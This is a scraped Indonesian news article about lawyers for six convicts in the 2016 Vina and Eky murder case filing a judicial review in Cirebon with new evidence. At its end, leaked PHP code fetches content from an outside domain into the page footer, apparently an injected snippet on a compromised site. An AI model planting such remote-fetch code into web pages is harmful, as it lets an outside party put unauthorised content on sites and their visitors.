Tim Kuasa Hukum 6 Terpidana Kasus Vina serahkan Memori PK ke PN Cirebon

Rabu, 14 Agustus 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Tim kuasa hukum dari enam terpidana kasus Vina. (Foto: Istimewa)

Tim kuasa hukum dari enam terpidana kasus Vina. (Foto: Istimewa)

Cirebon l Jejakkasus.info – Jutek Bongso, perwakilan tim kuasa hukum enam terpidana kasus pembunuhan Vina dan Eky kejadian tahun 2016, mengatakan bahwa hari ini, Rabu, 14 Agustus 2024, kami mendaftarkan dan menyerahkan memori Peninjauan Kembali (PK) di PN Cirebon, dengan menyertakan sejumlah bukti baru atau novum.

“Hari ini, kami ke PN Cirebon dalam rangka mendaftarkan dan menyerahkan memori PK. Dengan novum yang dihadirkan sudah sesuai,” kata Jutek, Rabu (14/8/2024) di Cirebon, Jawa Barat.

Menurut Jutek, novum yang diajukan sangat kuat dan relevan dengan perkara tersebut.

“Diklaim dapat membatalkan putusan atau vonis yang sebelumnya dijatuhkan kepada enam terpidana tersebut,” kata Jutek.

Baca Juga:  Bid Propam Polda Kep. Babel, Cek Personel Polres Bangka

Enam terpidana yang mengajukan upaya PK, kata Jutek, yakni Eka Sandi, Rivaldi, Supriyanto, Eko Ramdani, Hadi Saputra dan Jaya.

“Untuk Sudirman, kami tidak sertakan dalam PK ini, karena yang bersangkutan tidak memberi kuasa kepada kami,” kata Jutek.

Salah satu novum yang menjadi sorotan, kata Jutek, adalah perubahan keterangan saksi kunci, yakni Dede serta pencabutan kesaksian Liga Akbar dalam kasus kematian Vina dan Eky .

“Kami tim kuasa hukum enam terpidana kasus pembunuhan Vina dan Eky, sudah mendapatkan hasil ekstraksi ponsel korban yang menunjukkan, bahwa Vina masih berkomunikasi dengan temannya hingga pukul 22.14 WIB pada malam kejadian,” kata Jutek.

Baca Juga:  Aksi Unras dari Aliansi, Mahasiswa Masyarakat Cirebon, Menggugat!!

“Novum yang kami sampaikan tentu yang sudah berkembang dan masyarakat sudah tahu,” imbuh Jutek.

Kami tim kuasa hukum enam terpidana kasus pembunuhan Vina dan Eky, kata Jutek, telah menghimpun keterangan dari dua saksi baru yang melihat secara langsung kronologis kasus tersebut.

“Berdasarkan keterangan dua saksi itu, kematian Vina dan Eky, diduga kuat disebabkan karena peristiwa kecelakaan, bukan pembunuhan,” kata Jutek.

Kami tim kuasa hukum enam terpidana kasus pembunuhan Vina dan Eky, kata Jutek, berencana menghadirkan sekitar 50 saksi ahli dan fakta untuk memperkuat permohonan PK.

Baca Juga:  Ditresnarkoba Polda Jatim Gagalkan Penyelundupan Sabu Seberat 6 Kilo Dari Malaysia

“Namun, mereka akan menyaring kembali saksi-saksi yang dianggap paling relevan dengan kasus ini,” kata Jutek.

Pihaknya, kata Jutek, akan mengajukan permohonan agar keenam terpidana dapat dihadirkan langsung dalam sidang PK,

“Kami berharap, Iptu Rudiana dan saksi kunci lainnya, yakni Aep bisa hadir untuk memberikan keterangan,” kata Jutek.

“Kami akan memohon terkait dihadirkannya keenam terpidana karena itu kewenangan dari majelis,” imbuh Jutek.

Dengan adanya novum-novum tersebut, tim kuasa hukum, kata Jutek, berharap PN Cirebon, dapat menyerahkan berkas penting itu ke Mahkamah Agung (MA).

“Agar permohonan PK bisa dikabulkan,” kata Jutek.

Laporan: Erdan/Rachmat

 

 

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba
Seorang Pengedar Narkoba diamankan di Pematang Pasir Ketapang
Diduga Pembunuh Supir Travel Kuala Tungkal, Spesial Perampok Sindikat Jaringan antar Provinsi
Satreskrim Polres Indramayu gulung Anak-anak Terlibat Tawuran
Polresta Cirebon takkan Berhenti berantas Narkoba dan Obat-obatan Terlarang
Pelaku Curas di Desa Lelea, Dibekuk Polisi
Maraknya Perjudian 303 Sabung Ayam di Desa Bedanten, Kecamatan Bunga, Kabupaten Gresik Tak Tersentuh Hukum
Peredaran Ganja Jaringan Sumatera Dibongkar Polisi

Berita Terkait

Kamis, 19 September 2024 - 22:04 WIB

Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba

Minggu, 15 September 2024 - 11:40 WIB

Seorang Pengedar Narkoba diamankan di Pematang Pasir Ketapang

Minggu, 15 September 2024 - 08:44 WIB

Diduga Pembunuh Supir Travel Kuala Tungkal, Spesial Perampok Sindikat Jaringan antar Provinsi

Senin, 9 September 2024 - 21:33 WIB

Satreskrim Polres Indramayu gulung Anak-anak Terlibat Tawuran

Senin, 9 September 2024 - 21:13 WIB

Polresta Cirebon takkan Berhenti berantas Narkoba dan Obat-obatan Terlarang

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>